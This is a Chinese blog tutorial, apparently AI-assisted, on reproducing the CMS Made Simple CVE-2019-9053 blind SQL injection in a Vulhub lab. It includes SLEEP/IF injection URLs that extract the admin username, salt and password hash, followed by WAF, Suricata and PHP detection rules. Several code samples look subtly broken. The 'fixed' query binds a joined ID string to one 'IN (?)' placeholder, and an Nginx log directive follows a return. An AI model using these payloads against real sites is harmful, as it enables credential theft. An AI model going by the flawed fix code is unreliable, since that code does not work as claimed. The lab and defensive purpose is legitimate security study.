手把手教你用Vulhub复现cmsms CVE-2019-9053漏洞(附完整POC)

64 阅读8分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞原理分析(SQL 注入)

CVE-2019-9053 是 CMS Made Simple 2.2.8 版本中一个 Unauthenticated Blind Time-based SQL Injection 漏洞,影响 CMSMS 的 News 模块。攻击者可以通过构造恶意 URL,在未经过认证的情况下操纵 SQL 查询参数,从而实现基于时间的盲注攻击。 主要触发参数:

  • m1_idlist — 此参数未正确清理用户输入,直接拼接进 SQL 语句,导致 SQL 注入。 危害分析:
  • 无需登录即可触发 SQL 注入
  • 攻击者可以使用 盲注技术 在数据库中逐位爆破数据
  • 可获取管理员账户/密码、重置令牌等敏感信息
  • 进一步结合其他漏洞可演化为 远程代码执行(RCE) 或系统控制 漏洞归类为 CWE-89: Improper Neutralization of Special Elements used in an SQL Command

该漏洞的攻击链展示了攻击者如何利用时间延迟逐字符提取管理员密码哈希(Salted MD5)和用户名。

  1. 确定漏洞点:访问 index.php?mact=News,cntnt01,detail,0
  2. 构造注入载荷:利用 m1_idlist 参数,注入包含 IF 判断和 SLEEP() 的 SQL。
  3. 盲注探测
    • 步骤 A:判断管理员用户名的第一个字母是否为 'a'。
    • 步骤 B:如果猜测正确,响应延迟 2 秒;否则立即返回。
  4. 循环迭代:通过自动化脚本不断调整偏移量和字符,拼凑出完整的用户名、Salt 和 Hash。
  5. 离线破解:将获取的 Salt 和 MD5 哈希进行本地爆破,获取明文密码。
graph TD
    A[攻击者] --> B[确定漏洞点]
    B --> C[访问特定URL]
    C --> D[构造注入载荷]
    
    D --> E[利用m1_idlist参数]
    E --> F[注入包含IF和SLEEP的SQL]
    F --> G[发送恶意请求]
    
    subgraph "时间盲注探测"
        G --> H[判断第一个字符]
        H --> I{猜测正确?}
        I -->|是,延迟2秒| J[记录字符]
        I -->|否,立即返回| K[尝试下一字符]
        K --> H
    end
    
    J --> L[移动到下一位]
    L --> M{提取完成?}
    M -->|否| H
    M -->|是| N[获取完整数据]
    
    N --> O[提取用户名]
    N --> P[提取密码Salt]
    N --> Q[提取MD5哈希]
    
    O --> R[准备爆破数据]
    P --> R
    Q --> R
    
    R --> S[本地暴力破解]
    S --> T[获得明文密码]
    T --> U[成功入侵系统]
    
    style B fill:#ffcccc,stroke:#333
    style C fill:#ff9999,stroke:#333,stroke-width:2px
    style F fill:#ff6666,stroke:#333,stroke-width:2px
    style I fill:#ff3333,stroke:#333,stroke-width:3px
    style R fill:#cc0000,stroke:#333,stroke-width:2px
    style U fill:#990000,stroke:#333,stroke-width:3px

漏洞原理示意图

SQL注入Payload构造


正常请求:
index.php?mact=News,cntnt01,detail,0&m1_idlist=1

恶意注入Payload:
index.php?mact=News,cntnt01,detail,0&m1_idlist=1 AND IF(
    ASCII(SUBSTRING((SELECT username FROM cms_users LIMIT 0,1),1,1))=97,
    SLEEP(2),
    0
)

生成的SQL查询:
SELECT * FROM news 
WHERE id IN (1 AND IF(
    ASCII(SUBSTRING((SELECT username FROM cms_users LIMIT 0,1),1,1))=97,
    SLEEP(2),
    0
))

执行逻辑:
1. 执行子查询获取管理员用户名
2. 提取第一个字符的ASCII3. 判断是否等于97(字符'a'4. 如果为真,执行SLEEP(2)导致延迟
5. 攻击者通过响应时间判断结果

密码哈希提取过程


CMSMS密码存储格式:
- 用户名: admin
- 密码Salt: 随机字符串(如: abc123)
- 密码哈希: MD5(Salt + 明文密码)

提取过程:
1. 提取用户名: admin
2. 提取Salt值: abc123
3. 提取哈希值: 5f4dcc3b5aa765d61d8327deb882cf99

组合为可破解格式:
admin:abc123:5f4dcc3b5aa765d61d8327deb882cf99

破解逻辑:
对于字典中每个密码 candidate:
    计算 MD5("abc123" + candidate)
    比较是否等于 "5f4dcc3b5aa765d61d8327deb882cf99"
    如果相等,则 candidate 就是明文密码

DFD 威胁建模(简化)

[External Attacker]
    |
    | (1) Malicious HTTP Request (no auth)
    v
[CMSMS Request Handler]
    |
    | (2) SQL Query built unsafely
    v
[Database Engine]
    |
    v
[Data Store: Users / News]


STRIDE 威胁点

类型是否说明
Spoofing攻击无需凭证
TamperingSQL 注入修改查询逻辑
Repudiation⚠️难区分合法/恶意
Information Disclosure可泄露敏感数据
Denial of Service⚠️可利用延迟手段阻断
Elevation of Privilege⚠️可结合其他漏洞获得更深控制

漏洞复现原理图示说明

sequenceDiagram
    participant A as 攻击者
    participant S as 自动化脚本
    participant C as CMSMS服务器
    participant DB as MySQL数据库
    
    Note over A: 阶段1: 漏洞验证
    
    A->>C: 1. 访问漏洞URL<br>index.php?mact=News,cntnt01,detail,0
    C->>DB: 2. 执行正常查询
    DB->>C: 3. 返回正常结果
    C->>A: 4. 返回页面响应
    
    Note over A: 阶段2: 启动自动化攻击
    
    A->>S: 5. 启动时间盲注脚本
    
    loop 逐字符提取用户名
        S->>C: 6. 发送猜解请求<br>Payload: IF(ASCII(SUBSTR(username,1,1))=97, SLEEP2, 0)
        C->>DB: 7. 执行注入的SQL
        DB->>DB: 8. 判断条件真假
        alt 条件为真
            DB->>DB: 9. 执行SLEEP2
            DB->>C: 10. 延迟后返回
            C->>S: 11. 延迟响应
            S->>S: 12. 记录字符'a'
        else 条件为假
            DB->>C: 9. 立即返回
            C->>S: 10. 正常响应
            S->>S: 11. 尝试下一个字符
        end
    end
    
    Note over S: 继续提取Salt和Hash
    
    loop 提取密码哈希
        S->>C: 13. 发送猜解请求<br>Payload: IF(ASCII(SUBSTR(password,1,1))=50, SLEEP2, 0)
        C->>DB: 14. 执行注入的SQL
        DB->>DB: 15. 判断条件真假
        alt 条件为真
            DB->>DB: 16. 执行SLEEP2
            DB->>C: 17. 延迟后返回
            C->>S: 18. 延迟响应
            S->>S: 19. 记录哈希字符
        else 条件为假
            DB->>C: 16. 立即返回
            C->>S: 17. 正常响应
            S->>S: 18. 尝试下一个字符
        end
    end
    
    S->>A: 20. 返回提取的凭证数据
    A->>A: 21. 开始离线密码破解

典型复现原理可以抽象如下:

Baseline Request:
GET /index.php?module=News&m1_idlist=1

Vulnerable Injection Request:
GET /index.php?module=News&m1_idlist=1' AND SLEEP(5)--
                         ^
                         |── payload inserted in SQL


` 在后台构造的 SQL 语句类似:

SELECT * FROM cms_news WHERE id IN (/* m1_idlist */ '1')

被注入后变作:

SELECT * FROM cms_news WHERE id IN ('1' AND SLEEP(5)--')


数据库会执行 SLEEP(5) 作为条件一部分,根据响应延迟推断注入是否成功。

漏洞利用原理图示

SQL注入Payload结构


正常请求参数:
m1_idlist = 1

恶意注入Payload:
m1_idlist = 1 AND IF(条件, SLEEP(2), 0)

其中条件示例:
ASCII(SUBSTRING((SELECT username FROM cms_users), 1, 1)) = 97

完整URL:
index.php?mact=News,cntnt01,detail,0&m1_idlist=1+AND+IF(ASCII(SUBSTRING((SELECT+username+FROM+cms_users),1,1))=97,SLEEP(2),0)

攻击流程说明


1. 信息收集:
   - 识别CMSMS版本 (≤2.2.9)
   - 定位News模块
   - 测试m1_idlist参数

2. 漏洞验证:
   - 发送带SLEEP函数的请求
   - 观察响应延迟确认漏洞

3. 数据提取(循环):
   for 每个字符位置 from 1 to N:
       for 每个候选字符 in 字符集:
           构造Payload测试当前字符
           if 响应延迟2秒:
               记录字符并跳出内循环
           else:
               继续尝试下一字符

4. 目标数据:
   - 管理员用户名 (如: admin)
   - 密码Salt值 (如: abc123)
   - 密码MD5哈希 (如: 5f4dcc3b5aa765d61d8327deb882cf99)

5. 密码破解:
   - 格式: MD5(Salt + 明文密码)
   - 使用字典暴力破解
   - 获得明文密码后登录系统

漏洞复现

我们先不着急安装此CMS,先做目录扫描的一些动作。

Snipaste_2026-02-05_11-53-12.png

Snipaste_2026-02-05_11-53-49.png

打开install.php界面,并安装CMS。

Snipaste_2026-02-05_11-49-36.png

一直默认到Step 4,然后填入以下表单信息。

Snipaste_2026-02-05_11-57-29.png

Step 5,填入用户名、邮箱、密码。

Snipaste_2026-02-05_12-40-09.png Step 6,命名。

Snipaste_2026-02-05_12-40-56.png Step 7,Step 8,默认。

Snipaste_2026-02-05_12-41-23.png

Snipaste_2026-02-05_12-41-48.png Step 9,点击visit your website和CMSCMS admin panel.

Snipaste_2026-02-05_12-43-11.png

Snipaste_2026-02-05_12-43-35.png

visit your website的界面如上,后者admin panel的面板如下。

Snipaste_2026-02-05_12-45-25.png

Snipaste_2026-02-05_12-45-50.png

这里采用漏洞信息(CVE-2019-9053) - by 漏洞平台的zmiddle和 tim-karov的PoC脚本。

Snipaste_2026-02-05_13-02-05.png

Snipaste_2026-02-05_13-14-32.png

Snipaste_2026-02-05_13-13-01.png

修复建议

  1. 升级系统:立即升级至 CMS Made Simple 2.2.10 或更高版本。
  2. 输入过滤:对 idlist 类型的参数强制进行整数数组转换(Type Casting)。
  3. 使用 PDO 绑定:在所有数据库操作中严格执行参数化查询,避免拼接。
  4. 禁用详细报错:在 config.php 中关闭调试模式,防止路径和 SQL 结构外泄。

伪代码级修复示例

修复的核心在于强制类型规范化,确保输入必须是数字序列。

❌ 漏洞代码(拼接逻辑)

// 在 News 模块的 action.detail.php 中
$idlist = '';
if (isset($params['idlist'])) {
    // 危险:直接接收参数并准备拼接到 SQL 中
    $idlist = $params['idlist']; 
}

$query = "SELECT * FROM " . CMS_DB_PREFIX . "module_news WHERE news_id IN ($idlist)";
$db->Execute($query); // 执行了包含恶意 SQL 的字符串

✅ 修复后代码(白名单与整数化)

// 修复逻辑:强制对参数进行清洗
$idlist_raw = isset($params['idlist']) ? $params['idlist'] : '';
$safe_ids = array();

if (!empty($idlist_raw)) {
    // 1. 将输入按逗号分割成数组
    $potential_ids = explode(',', $idlist_raw);
    
    foreach ($potential_ids as $id) {
        // 2. 强制转换为整数,非数字会被转为 0 或被剔除
        $clean_id = (int)trim($id);
        if ($clean_id > 0) {
            $safe_ids[] = $clean_id;
        }
    }
}

if (count($safe_ids) > 0) {
    // 3. 使用参数化查询占位符 (MyBatis/PDO 风格)
    // 或者重新组合成纯数字字符串
    $id_string = implode(',', $safe_ids); 
    $query = "SELECT * FROM " . CMS_DB_PREFIX . "module_news WHERE news_id IN (?)";
    $db->Execute($query, array($id_string)); 
}

基于该漏洞的检测与防护规则

为了检测和防护此类 SQL 注入行为,建议从 Web 框架层(Flask)和 Nginx/WAF 角度协同防护

WAF规则

# Nginx配置防护
http {
    # SQL注入检测map
    map $args $block_sqli {
        default 0;
        "~*m1_idlist.*select" 1;
        "~*m1_idlist.*sleep" 1;
        "~*m1_idlist.*if\(" 1;
        "~*m1_idlist.*benchmark" 1;
        "~*m1_idlist.*union" 1;
        "~*m1_idlist.*case.*when" 1;
        "~*m1_idlist.*information_schema" 1;
    }
    
    server {
        listen 80;
        server_name cmsms.local;
        
        location ~* \.php$ {
            # 检查SQL注入
            if ($block_sqli = 1) {
                return 403 "Invalid request";
                access_log /var/log/nginx/cmsms_sqli_blocked.log;
            }
            
            # 限制请求大小
            client_max_body_size 1m;
            
            # 启用速率限制
            limit_req zone=cmsms_limit burst=10 nodelay;
            
            # 安全头部
            add_header X-Frame-Options DENY;
            add_header X-Content-Type-Options nosniff;
            add_header X-XSS-Protection "1; mode=block";
            
            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
            fastcgi_index index.php;
            include fastcgi_params;
        }
    }
    
    # 定义限流zone
    limit_req_zone $binary_remote_addr zone=cmsms_limit:10m rate=5r/s;
}

IDS/IPS规则

# Suricata规则
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CMSMS CVE-2019-9053 SQL Time-Based Blind Injection";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"mact=News,cntnt01,detail,0"; http_uri;
    content:"m1_idlist="; http_uri;
    pcre:"/m1_idlist=[^&]*(if\s*\(|case\s+when.*then.*sleep|sleep\s*\()/i";
    classtype:web-application-attack;
    sid:2019001;
    rev:1;
)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CMSMS Information Schema Enumeration";
    flow:to_server,established;
    content:"m1_idlist="; http_uri;
    pcre:"/m1_idlist=[^&]*information_schema/i";
    classtype:attempted-recon;
    sid:2019002;
    rev:1;
)

应用层监控

// CMSMS安全日志
class SecurityLogger {
    
    public static function log_injection_attempt($parameter, $value, $details = []) {
        $log_entry = [
            'timestamp' => date('Y-m-d H:i:s'),
            'event' => 'sql_injection_attempt',
            'parameter' => $parameter,
            'value' => substr($value, 0, 200),
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
            'request_uri' => $_SERVER['REQUEST_URI'] ?? 'unknown',
            'details' => $details
        ];
        
        // 写入文件
        $log_file = CACHE_LOCATION . '/security.log';
        file_put_contents(
            $log_file,
            json_encode($log_entry) . PHP_EOL,
            FILE_APPEND | LOCK_EX
        );
        
        // 发送警报(可选)
        self::send_alert($log_entry);
    }
    
    public static function send_alert($log_entry) {
        // 配置警报阈值
        $threshold = 5; // 5分钟内5次尝试
        $time_window = 300; // 5分钟
        
        // 检查同一IP的尝试次数
        $recent_attempts = self::get_recent_attempts(
            $log_entry['ip'],
            $time_window
        );
        
        if ($recent_attempts >= $threshold) {
            // 发送邮件警报
            $subject = "CMSMS安全警报: SQL注入攻击检测";
            $message = "检测到来自IP {$log_entry['ip']} 的SQL注入攻击。\n\n";
            $message .= "详情:\n" . print_r($log_entry, true);
            
            mail(
                'admin@example.com',
                $subject,
                $message,
                'From: security@example.com'
            );
        }
    }
    
    private static function get_recent_attempts($ip, $time_window) {
        $log_file = CACHE_LOCATION . '/security.log';
        if (!file_exists($log_file)) {
            return 0;
        }
        
        $lines = file($log_file);
        $count = 0;
        $cutoff_time = time() - $time_window;
        
        foreach ($lines as $line) {
            $entry = json_decode($line, true);
            if (!$entry) {
                continue;
            }
            
            if ($entry['ip'] === $ip && 
                strtotime($entry['timestamp']) > $cutoff_time &&
                $entry['event'] === 'sql_injection_attempt') {
                $count++;
            }
        }
        
        return $count;
    }
}

// 在News模块中使用
if (isset($_GET['m1_idlist'])) {
    $idlist = $_GET['m1_idlist'];
    
    // 检查SQL注入
    if (preg_match('/\b(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|UNION|IF|CASE|WHEN|SLEEP|BENCHMARK)\b/i', $idlist)) {
        SecurityLogger::log_injection_attempt('m1_idlist', $idlist, [
            'pattern' => 'sql_keyword_detected'
        ]);
        
        // 返回错误
        die('Invalid parameter');
    }
}

参考文章:

1.tim-karov/cmsms-sqli: Python3 exploit for CVE-2019-9053 (CMS Made Simple <= 2.2.9 SQLi). No deps, time-based blind SQLi → admin creds dump. HTB Writeup owned.github.com/tim-karov/c… 2.zmiddle/Simple_CMS_SQLi: This is a exploit for CVE-2019-9053 github.com/zmiddle/Sim…